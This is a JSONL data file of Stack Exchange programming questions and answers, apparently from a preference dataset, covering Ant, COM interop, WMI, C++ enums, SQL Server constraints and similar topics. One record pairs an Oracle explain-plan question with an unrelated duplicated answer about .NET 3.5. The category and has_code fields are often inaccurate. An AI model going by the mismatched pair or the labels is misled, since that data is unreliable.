{"id": "hf_bd5073423d16", "question": "<p>I want to delete all directories and subdirectories under a root directory that are contain \"tmp\" in their names. This should include any .svn files too. My first guess is to use </p>\n\n<pre><code>&lt;delete&gt;\n    &lt;dirset dir=\"${root}\"&gt;\n          &lt;include name=\"**/*tmp*\" /&gt;\n    &lt;/dirset&gt;\n&lt;/delete&gt;\n</code></pre>\n\n<p>This does not seem to work as you can't nest a <code>dirset</code> in a <code>delete</code> tag.</p>\n\n<p>Is this a correct approach, or should I be doing something else?</p>\n\n<ul>\n<li>ant version == 1.6.5.</li>\n<li>java version == 1.6.0_04</li>\n</ul>\n", "question_body": "", "answer": "try:\n```\n```\n<delete includeemptydirs=\"true\">\n    <fileset dir=\"${root}\">\n          <include name=\"**/*tmp*/*\" />\n    </fileset>\n</delete>\n```\n```\nThankYou  flicken !", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.645246"}
{"id": "hf_e7983fd55758", "question": "<p>I'd like to check if the current browser supports the onbeforeunload event.\nThe common javascript way to do this does not seem to work:</p>\n\n<pre><code>if (window.onbeforeunload) {\n    alert('yes');\n}\nelse {\n    alert('no');\n}\n</code></pre>\n\n<p>Actually, it only checks whether some handler has been attached to the event.\nIs there a way to detect if onbeforeunload is supported without detecting the particular browser name?</p>\n", "question_body": "", "answer": "It would probably be better to just find out by hand which browsers support it and then have your conditional more like:\n```\n```\nif( $.browser.msie ) {\n  alert( 'no' );\n}\n```\n```\n...etc.\nThe\n```\n$.browser.msie\n```\nis jQuery syntax, most frameworks have similar built-in functions since they use them so much internally. If you aren't using a framework then I'd suggest just taking a look at jQuery's implementation of those functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.670108"}
{"id": "hf_cc411ced3c58", "question": "<p>I'm using the Excel interop in C# (<code>ApplicationClass</code>) and have placed the following code in my finally clause:</p>\n\n<pre><code>while (System.Runtime.InteropServices.Marshal.ReleaseComObject(excelSheet) != 0) { }\nexcelSheet = null;\nGC.Collect();\nGC.WaitForPendingFinalizers();\n</code></pre>\n\n<p>Although this kind of works, the <code>Excel.exe</code> process is still in the background even after I close Excel. It is only released once my application is manually closed.</p>\n\n<p>What am I doing wrong, or is there an alternative to ensure interop objects are properly disposed of?</p>\n", "question_body": "", "answer": "This worked for a project I was working on:\n```\n```\nexcelApp.Quit();\nMarshal.ReleaseComObject (excelWB);\nMarshal.ReleaseComObject (excelApp);\nexcelApp = null;\n```\n```\nWe learned that it was important to set\nevery\nreference to an Excel COM object to null when you were done with it. This included Cells, Sheets, and everything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.733751"}
{"id": "hf_0b589b02a3ff", "question": "<p>As Microsoft seems to have started their trickle feed of information regarding .NET 4.0, I thought I'd ask the question as I'm sure there's more out there than I've spotted!</p>\n\n<p>What information has been released regarding the .NET Framework 4.0?</p>\n", "question_body": "", "answer": "http://news.google.com/news?hl=en&ned=us&q=net+Framework+4.0&btnG=Search+News\nis a good place to start", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.781001"}
{"id": "hf_93de055bcc44", "question": "<p>I work in an multi-site environment that's currently using Rational ClearCase for source control and Rational ClearQuest for issue tracking (I accept your condolences ahead of time).  As a rough estimate I would say this is supporting 200 engineers.</p>\n\n<p>How would you effectively migrate this SCM methodology to a comparative, all Open Source tool suite?  Not only would this save literally hundreds of thousands of dollars but I also believe it would improve developer productivity and very little downtime compared to the current system.</p>\n\n<p>Platforms in use include Windows, Linux, UNIX and Solaris.</p>\n", "question_body": "", "answer": "Clearcase is awesome.  I use to think like you but then after moving to perforce I realized how great dynamic views are.\nI actually asked about this in\nanother question\n.  Basically it is really, really hard and is made much easier if you can live without your revision history.\nAs for bug tracking my experiences are that open source bug tracking tools are terrible.  However using triggers it is usually very easy to integrate them with open source source control. As an example here is how to\nintegrate bugzilla and subversion", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.805356"}
{"id": "hf_a80f1345ab6b", "question": "<p>I am looking for any examples or guides to using Linq over WCF (n-tier application). Please specify if you are showing something for Linq-to-SQL or Linq-to-entities. I would like to see usage examples for both. </p>\n\n<p>I am wondering how things like deffered execution works over WCF (if it works at all)? Cyclic references support and so on... </p>\n\n<p>Any information to make this a quick start guide to using Linq with WCF is helpful.</p>\n", "question_body": "", "answer": "There isn't any LINQ provider that I'm aware of for generic WCF-based queries.\nLINQ to ADO.NET Data Services\n, however, lets you query an Entity model over WCF/REST.\nFrom\nAndy Conrad's blog\n:\n```\n```\nstatic void Main(string[] args)\n    {\n      var context=new WebDataContext(\"http://localhost:18752/Northwind.svc\");\n\n      var query = from p in context.CreateQuery<Product>(\"Products\")\n                  where p.UnitsInStock > 100\n                  select p;\n\n      foreach (Product p in query)\n      {\n        Console.WriteLine(p.ProductName+\", UnitsInStock=\"+p.UnitsInStock);\n      }\n   }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.853155"}
{"id": "hf_0ec7e7db4db7", "question": "<p>I'm writing a series of Windows services.  I want them to fail if errors are thrown during startup (in <code>OnStart()</code> method).  I had assumed that merely throwing an error in <code>OnStart()</code> would do this, but I'm finding that instead it \"Starts\" and presents me with a message stating \"The service has started, but is inactive.  Is this correct?\" (Paraphrase).  How do I handle the error so it actually fails to start the service?</p>\n", "question_body": "", "answer": "Move all of your startup logic to a separate method, and Throw exceptions (or call OnStop) from that seperate method.\nOnStart has some oddities when starting up. I have found that if OnStart() has no more than one line in it, then I dont get the \"The service started and then stopped.Some services stop automatically if they have no work to do\" message, and thrown exceptions will terminate the process and log to the app event log.\nAlso with the seperate startup method, you can use a technique like this to debug it without attaching.\nhttp://www.codeproject.com/KB/dotnet/DebugWinServices.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.877622"}
{"id": "hf_f13e6020c393", "question": "<p>I'm trying to iterate all the controls on a form and enable ClearType font smoothing. Something like this:</p>\n\n<pre><code>procedure TForm4.UpdateControls(AParent: TWinControl);\nvar\n  I: Integer;\n  ACtrl: TControl;\n  tagLOGFONT: TLogFont;\nbegin\n  for I := 0 to AParent.ControlCount-1 do\n  begin\n    ACtrl:= AParent.Controls[I];\n\n    // if ParentFont=False, update the font here...\n\n    if ACtrl is TWinControl then\n      UpdateControls(Ctrl as TWinControl);\n  end;\nend;\n</code></pre>\n\n<p>Now, is there a easy way to check if <code>ACtrl</code> have a <code>Font</code> property so i can pass the <code>Font.Handle</code> to somethink like:</p>\n\n<pre><code>GetObject(ACtrl.Font.Handle, SizeOf(TLogFont), @tagLOGFONT);\ntagLOGFONT.lfQuality := 5;\nACtrl.Font.Handle := CreateFontIndirect(tagLOGFONT);\n</code></pre>\n\n<p>Thank you in advance.</p>\n", "question_body": "", "answer": "You use TypInfo unit, more specifically methods IsPublishedProp and GetOrdProp.\nIn your case, it would be something like:\n```\n```\nif IsPublishedProp(ACtrl, 'Font') then\n  ModifyFont(TFont(GetOrdProp(ACtrl, 'Font')))\n```\n```\nA fragment from one of my libraries that should put you on the right path:\n```\n```\nfunction ContainsNonemptyControl(controlParent: TWinControl;\n  const requiredControlNamePrefix: string;\n  const ignoreControls: string = ''): boolean;\nvar\n  child   : TControl;\n  iControl: integer;\n  ignored : TStringList;\n  obj     : TObject;\nbegin\n  Result := true;\n  if ignoreControls = '' then\n    ignored := nil\n  else begin\n    ignored := TStringList.Create;\n    ignored.Text := ignoreControls;\n  end;\n  try\n    for iControl := 0 to controlParent.ControlCount-1 do begin\n      child := controlParent.Controls[iControl];\n      if (requiredControlNamePrefix = '') or\n         SameText(requiredControlNamePrefix, Copy(child.Name, 1,\n           Length(requiredControlNamePrefix))) then\n      if (not assigned(ignored)) or (ignored.IndexOf(child.Name) < 0) then\n      if IsPublishedProp(child, 'Text') and (GetStrProp(child, 'Text') <> '') then\n        Exit\n      else if IsPublishedProp(child, 'Lines') then begin\n        obj := TObject(cardinal(GetOrdProp(child, 'Lines')));\n        if (obj is TStrings) and (Unwrap(TStrings(obj).Text, child) <> '') then\n          Exit;\n      end;\n    end; //for iControl\n  finally FreeAndNil(ignored); end;\n  Result := false;\nend; { ContainsNonemptyControl }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.926488"}
{"id": "hf_1d7e9a314b66", "question": "<p>I've installed .NET Framework 3.5 SP1 on web server (Server 2008 Enterprise), so running IIS 7.0.</p>\n\n<p>I want to change the version of .NET Framework used by an existing site.  So I right-click on appropriate Application Pool and selected Edit Application Pool.  The .NET Framework dropdown does not include an explicit entry for framework 3.5, but just 2.0.50727.</p>\n\n<p>Is this just because the version of the core RTL in 3.5 is still 2.0? Or do I need to do something additional to get IIS to see version 3.5?  (Did try restarting IIS).</p>\n", "question_body": "", "answer": "Is this just because the version of the core RTL in 3.5 is still 2.0?\nYES", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:13.980213"}
{"id": "hf_9464b5f05cf2", "question": "<p>What does it indicate to see a query that has a low cost in the explain plan but a high consistent gets count in autotrace? In this case the cost was in the 100's and the CR's were in the millions.</p>\n", "question_body": "", "answer": "Is this just because the version of the core RTL in 3.5 is still 2.0?\nYES", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.002931"}
{"id": "hf_8a8a4b7255ac", "question": "<p>Since I'm not a huge fan of any of the current solutions for managing the resources and knowledge that I have, I was thinking about making my own solution, which will involve custom code as well as possible integration of FOSS solutions. I would start development on my local machine, but if I like it, how difficult would it be to migrate over to a public server and let others also use this tool? What kinds of challenges might I be facing?</p>\n", "question_body": "", "answer": "In theory, nothing, beyond just the process of moving stuff to the new machine. You can set up your own servers, on your own ports (port 80 for example).\nYou can even create your own fake domain at home, with just a tweak to the /etc/hosts files (or the equivalent on Windows).\nNow, if you're developing on Windows and hosting on unix, you'll have platform issues, so I'd suggest against that, at least for a first project.\nBut other than that, it should be straightforward.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.027171"}
{"id": "hf_76b17963c420", "question": "<p>what is a good way to select a random element from a map?  C++.  It is my understanding that maps don't have random access iterators.  The key is a long long and the map is sparsely populated.  </p>\n", "question_body": "", "answer": "```\n```\nmap<...> MyMap;\niterator item = MyMap.begin();\nstd::advance( item, random_0_to_n(MyMap.size()) );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.062444"}
{"id": "hf_dfb3deec35d7", "question": "<p>Is there a way to have a file that is modified / touched whenever the WC is updated to a new revision? Or, as the second-best option, whenever <code>svn update</code> is executed?</p>\n\n<p>Here's the motivation: I want to have the SVN revision number inside my executable. So I have to run SubWCRev as part of the build. The output file of SubWCRev is re-created every time, even if the revision number has not changed. This means that the exe is linked on every build, even if nothing has changed. I want it to be linked only as needed.</p>\n", "question_body": "", "answer": "Get the SubWCRev output into a temporary file\nCompare this file to the current revision-number file\nOverwrite it with the temp file only if the two are different\nDelete the temporary file\nYou might even be able to do this with a .bat file (using\n```\nfc\n```\n). Something like...\n```\n```\nREM ***UNTESTED***\nFC temp.rev curr.rev | FIND \"FC: no dif\" > nul \nIF NOT ERRORLEVEL 1 COPY /Y temp.rev curr.rev\nDEL temp.rev\n```\n```\nEdit:\nAs an aside, you can do this in Mercurial by making the rev-number-file depend on\n```\n.hg/dirstate\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.117059"}
{"id": "hf_7a7f63838490", "question": "<p>How do I limit the types of HTML that a user can input into a textbox? I'm running a small forum using some custom software that I'm beta testing, but I need to know how to limit the HTML input. Any suggestions?</p>\n", "question_body": "", "answer": "Once the text is submitted, you could strip any/all tags that don't match your predefined set using a regex in PHP.\nIt would look something like the following:\n```\n```\nfind open tag (<)\nif contents != allowed tag, remove tag (from <..>)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.192262"}
{"id": "hf_8ac62bc65511", "question": "<p>How would I upload a file to a webserver using c++ and MFC.  We are not using .Net.  Would I need to open a socket and do everything myself?  If so, where is a good reference to follow?</p>\n", "question_body": "", "answer": "You don't want to use direct socket calls. It's hard to get HTTP right this way.\nThe easier way is to the WinINet APIs. Check out the docs for InternetOpen, this will likely be the first call you make. Functions you will likely need:\nInternetOpen\nInternetConnect\nHttpOpenRequest\nHttpSendRequest\nHttpQueryInfo\nInternetCloseHandle\nYou can find docs for all of these on msdn", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.231830"}
{"id": "hf_7ae91294b2f2", "question": "<p>I have an array of characters that are Points and I want to take any character and be able to loop through that array and find the top 3 closest (using Point.distance) neighbors. Could anyone give me an idea of how to do this?</p>\n", "question_body": "", "answer": "This is a new and improved version of the code I posted last night. It's composed of two classes, the PointTester and the TestCase. This time around I was able to test it too!\nWe start with the TestCase.as\n```\n```\npackage  {\n\n    import flash.geom.Point;\n    import flash.display.Sprite;\n\n    public class TestCase extends Sprite {\n\n        public function TestCase() {\n            // some data to test with\n            var pointList:Array = new Array();\n            pointList.push(new Point(0, 0));\n            pointList.push(new Point(0, 0));\n            pointList.push(new Point(0, 0));\n            pointList.push(new Point(1, 2));\n            pointList.push(new Point(9, 9));\n\n            // the point we want to test against\n            var referencePoint:Point = new Point(10, 10);\n\n            var resultPoints:Array = PointTester.findClosest(referencePoint, pointList, 3);\n\n            trace(\"referencePoint is at\", referencePoint.x, referencePoint.y);\n            for each(var result:Object in resultPoints) {\n                trace(\"Point is at:\", result.point.x, \", \", result.point.y, \" that's \", result.distance, \" units away\");\n            }\n        }\n\n    }\n\n}\n```\n```\nAnd this would be PointTester.as\n```\n```\npackage  {\n\n    import flash.geom.Point;\n\n    public class PointTester {\n\n        public static function findClosest(referencePoint:Point, pointList:Array, maxCount:uint = 3):Array{\n\n            // this array will hold the results\n            var resultList:Array = new Array();\n\n            // loop over each point in the test data\n            for each (var testPoint:Point in pointList) {\n\n                // we store the distance between the two in a temporary variable\n                var tempDistance:Number = getDistance(testPoint, referencePoint);\n\n                // if the list is shorter than the maximum length we don't need to do any distance checking\n                // if it's longer we compare the distance to the last point in the list, if it's closer we add it\n                if (resultList.length <= maxCount || tempDistance < resultList[resultList.length - 1].distance) {\n\n                    // we store the testing point and it's distance to the reference point in an object\n                    var tmpObject:Object = { distance : tempDistance, point : testPoint };\n                    // and push that onto the array\n                    resultList.push(tmpObject);\n\n                    // then we sort the array, this way we don't need to compare the distance to any other point than\n                    // the last one in the list\n                    resultList.sortOn(\"distance\", Array.NUMERIC );\n\n                    // and we make sure the list is kept at at the proper number of entries\n                    while (resultList.length > maxCount) resultList.pop();\n                }\n            }\n\n            return resultList;\n        }\n\n        public static function getDistance(point1:Point, point2:Point):Number {\n            var x:Number = point1.x - point2.x;\n            var y:Number = point1.y - point2.y;\n            return Math.sqrt(x * x + y * y);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.269637"}
{"id": "hf_905c2434cd48", "question": "<p>What are the key differences between Flash and Flex?  I have over five years experience with flash and feel very comfortable developing with it and ActionScript3.  I find myself more and more curious about Flex and want to know when it is best to use flash or flex.  Also, is everything that can be done with MXML, able to be done with AS3?  I have a strong understanding of AS3 and OOP and would like to know the diffrences between using AS3 and MXML in Flex.</p>\n", "question_body": "", "answer": "Flash and Flex provide different ways to produce different things. I am not familiar with Flash, but I would expect that it is dependent on a time-oriented way to produce something, whereas Flex is geared toward more traditional software development. That is, rather than dealing with time and frames in Flash, one is dealing with describing where components should be placed with MXML and how those components work with ActionScript.\nOne should also be able to write a Flex app with just AS3 and no need MXML.\nThe main difference between AS3 and MXML in Flex, as far as I know, is that MXML is not intended to be used with application logic, but rather it is intended to be used like HTML/CSS in web pages and puts components and content onto the Flex app. ActionScript is used to program behaviors, components, and other things outside or what MXML does. Thus, if you want to attach an event to a component one would write ActionScript code.\nHope that helps. I am still learning about Flex myself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.330616"}
{"id": "hf_bb47ec6e8969", "question": "<p>I'm thinking floats.  For the record I'm also using NHibernate.</p>\n", "question_body": "", "answer": "```\ndecimal\n```\nYou won't lose precision due to rounding.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.354361"}
{"id": "hf_6ad76e9dd815", "question": "<p>I am <strong>very</strong> new to the entity framework, so please bear with me...</p>\n\n<p>How can I relate two objects from different contexts together?</p>\n\n<p>The example below throws the following exception:</p>\n\n<blockquote>\n  <p>System.InvalidOperationException: The\n  relationship between the two objects\n  cannot be defined because they are\n  attached to different ObjectContext\n  objects.</p>\n</blockquote>\n\n<pre><code>void MyFunction()\n{\n    using (TCPSEntities model = new TCPSEntities())\n    {\n        EmployeeRoles er = model.EmployeeRoles.First(p=&gt;p.EmployeeId == 123);\n        er.Roles = GetDefaultRole();\n        model.SaveChanges();\n     }\n}\n\nprivate static Roles GetDefaultRole()\n{\n    Roles r = null;\n    using (TCPSEntities model = new TCPSEntities())\n    {\n        r = model.Roles.First(p =&gt; p.RoleId == 1);\n    }\n    return r;\n}\n</code></pre>\n\n<p>Using one context is not an option because we are using the EF in an ASP.NET application.</p>\n", "question_body": "", "answer": "You will have to use the same context (you can pass the context to the getdefaultrole method) or rethink the relationships and extend the entity.\nEDIT: Wanted to add this was for the example provided, using asp.net will require you to fully think out your context and relationship designs.\nYou could simply pass the context.. IE:\n```\n```\nvoid MyFunction()\n{\n    using (TCPSEntities model = new TCPSEntities())\n    {\n        EmployeeRoles er = model.EmployeeRoles.First(p=>p.EmployeeId == 123);\n        er.Roles = GetDefaultRole(model);\n        model.SaveChanges();\n     }\n\n}\n\nprivate static Roles GetDefaultRole(TCPSEntities model)\n{\n    Roles r = null;\n    r = model.Roles.First(p => p.RoleId == 1);\n    return r;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.401245"}
{"id": "hf_cf0c648d83e2", "question": "<p>I need to, preferably in C# - but c++ will do, find a way to filter the list of printers in the windows print dialog for any windows printing.</p>\n\n<p>I have come across WinAPIOverride and have figured I am going to have to write my own dll which overrides the method to get the printers list, then filter it and return it. I would then have to inject the dll into all running processes.</p>\n\n<p>Can anybody assist me with something that is already developed or perhaps an easier way of accomplishing this?  The only way the list of printers comes out is from the API method call and I have even considered modifying the registry, but this will slow down the response of the print dialog box to the point that it would be annoying to the user.</p>\n", "question_body": "", "answer": "I don't think that (re)writing a DLL is the easiest method. Why not use\nWMI\nto retrieve the wanted\ninformation (printers in this case)\n?\nThe following code is for retrieving all the locally installed printers:\n(code samples borrowed from\nhere\n)\n```\n```\nManagementScope objScope = new ManagementScope(ManagementPath.DefaultPath); //For the local Access\n    objScope.Connect();\n\n    SelectQuery selectQuery = new SelectQuery();\n    selectQuery.QueryString = \"Select * from win32_Printer\";\n    ManagementObjectSearcher MOS = new ManagementObjectSearcher(objScope, selectQuery);\n    ManagementObjectCollection MOC = MOS.Get();\n    foreach (ManagementObject mo in MOC) {\n      listBox1.Items.Add(mo[\"Name\"].ToString().ToUpper());\n    }\n```\n```\nTo get the printers known accross a domain use this:\n```\n```\nConnectionOptions objConnection = new ConnectionOptions();\nobjConnection.Username = \"USERNAME\";\nobjConnection.Password = \"PASSWORD\";\nobjConnection.Authority = \"ntlmdomain:DDI\"; //Where DDI is the name of my domain\n// Make sure the user you specified have enough permission to access the resource. \n\nManagementScope objScope = new ManagementScope(@\"\\\\10.0.0.4\\root\\cimv2\",objConnection); //For the local Access\nobjScope.Connect();\n\nSelectQuery selectQuery = new SelectQuery();\nselectQuery.QueryString = \"Select * from win32_Printer\";\nManagementObjectSearcher MOS = new ManagementObjectSearcher(objScope, selectQuery);\nManagementObjectCollection MOC = MOS.Get();\nforeach (ManagementObject mo in MOC) {\n  listBox1.Items.Add(mo[\"Name\"].ToString().ToUpper());\n}\n```\n```\nOf course, the list is not \"filtered\" as you would like as you didn't specify any criteria. But I'm sure you can manage from here on by yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.431024"}
{"id": "hf_5a9b3f9cb6ca", "question": "<p>Is there a way to find the maximum and minimum defined values of an enum in c++?</p>\n", "question_body": "", "answer": "No, there is no way to find the maximum and minimum defined values of any enum in C++. When this kind of information is needed, it is often good practice to define a Last and First value. For example,\n```\n```\nenum MyPretendEnum\n{\n   Apples,\n   Oranges,\n   Pears,\n   Bananas,\n   First = Apples,\n   Last = Bananas\n};\n```\n```\nThere do not need to be named values for every value between\n```\nFirst\n```\nand\n```\nLast\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.455544"}
{"id": "hf_baec57a62f33", "question": "<p>What is the use of a Dispatcher Object in WPF?</p>\n", "question_body": "", "answer": "A dispatcher is often used to invoke calls on another thread. An example would be if you have a background thread working, and you need to update the UI thread, you would need a dispatcher to do it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.492624"}
{"id": "hf_4522eda4a129", "question": "<p>Is there any way to format a string by name rather than position in C#?</p>\n\n<p>In python, I can do something like this example (shamelessly stolen from <a href=\"http://docs.python.org/lib/typesseq-strings.html\" rel=\"noreferrer\">here</a>):</p>\n\n<pre><code>&gt;&gt;&gt; print '%(language)s has %(#)03d quote types.' % \\\n      {'language': \"Python\", \"#\": 2}\nPython has 002 quote types.\n</code></pre>\n\n<p>Is there any way to do this in C#?  Say for instance:</p>\n\n<pre><code>String.Format(\"{some_variable}: {some_other_variable}\", ...);\n</code></pre>\n\n<p>Being able to do this using a variable name would be nice, but a dictionary is acceptable too.</p>\n", "question_body": "", "answer": "I think the closest you'll get is an indexed format:\n```\n```\nString.Format(\"{0} has {1} quote types.\", \"C#\", \"1\");\n```\n```\nThere's also String.Replace(), if you're willing to do it in multiple steps and take it on faith that you won't find your 'variables' anywhere else in the string:\n```\n```\nstring MyString = \"{language} has {n} quote types.\";\nMyString = MyString.Replace(\"{language}\", \"C#\").Replace(\"{n}\", \"1\");\n```\n```\nExpanding this to use a List:\n```\n```\nList<KeyValuePair<string, string>> replacements = GetFormatDictionary();  \nforeach (KeyValuePair<string, string> item in replacements)\n{\n    MyString = MyString.Replace(item.Key, item.Value);\n}\n```\n```\nYou could do that with a Dictionary<string, string> too by iterating it's .Keys collections, but by using a List<KeyValuePair<string, string>> we can take advantage of the List's .ForEach() method and condense it back to a one-liner:\n```\n```\nreplacements.ForEach(delegate(KeyValuePair<string,string>) item) { MyString = MyString.Replace(item.Key, item.Value);});\n```\n```\nA lambda would be even simpler, but I'm still on .Net 2.0.  Also note that the .Replace() performance isn't stellar when used iteratively, since strings in .Net are immutable.  Also, this requires the\n```\nMyString\n```\nvariable be defined in such a way that it's accessible to the delegate, so it's not perfect yet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.518578"}
{"id": "hf_39e940309a25", "question": "<p>Are C++ enums signed or unsigned? And by extension is it safe to validate an input by checking that it is &lt;= your max value, and leave out >= your min value (assuming you started at 0 and incremented by 1)?</p>\n", "question_body": "", "answer": "The compiler can decide whether or not enums are signed or unsigned.\nAnother method of validating enums is to use the enum itself as a variable type.  For example:\n```\n```\nenum Fruit\n{\n    Apple = 0,\n    Banana,\n    Pineapple,\n    Orange,\n    Kumquat\n};\n\nenum Fruit fruitVariable = Banana;  // Okay, Banana is a member of the Fruit enum\nfruitVariable = 1;  // Error, 1 is not a member of enum Fruit even though it has the same value as banana.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.543887"}
{"id": "hf_7abdd906ebe6", "question": "<p>Are disabling and enabling foreign key constraints supported in SQL Server? Or is my only option to <strong><code>drop</code></strong> and then <strong>re-<code>create</code></strong> the constraints?</p>\n", "question_body": "", "answer": "(Copied from from\nhttp://www.sqljunkies.com/WebLog/roman/archive/2005/01/30/7037.aspx\n,\nwhich is now archived in the Wayback Machine\n)\nForeign key constraints and check constraint are very useful for enforcing data integrity and business rules. There are certain scenarios though where it is useful to temporarily turn them off because their behavior is either not needed or could do more harm than good. I sometimes disable constraint checking on tables during data loads from external sources or when I need to script a table drop/recreate with reloading the data back into the table. I usually do it in scenarios where I don't want a time consuming process to fail because one or a few of many million rows have bad data in it. But I always turn the constraints back on once the process is finished and also in some cases I run data integrity checks on the imported data.\nIf you disable a foreign key constraint, you will be able to insert a value that does not exist in the parent table. If you disable a check constraint, you will be able to put a value in a column as if the check constraint was not there. Here are a few examples of disabling and enabling table constraints:\n```\n```\n-- Disable all table constraints\n   ALTER TABLE MyTable NOCHECK CONSTRAINT ALL\n\n   -- Enable all table constraints\n   ALTER TABLE MyTable WITH CHECK CHECK CONSTRAINT ALL\n    \n   -- Disable single constraint\n   \n   ALTER TABLE MyTable NOCHECK CONSTRAINT MyConstraint\n   \n   -- Enable single constraint\n   ALTER TABLE MyTable WITH CHECK CHECK CONSTRAINT MyConstraint\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:14.568416"}
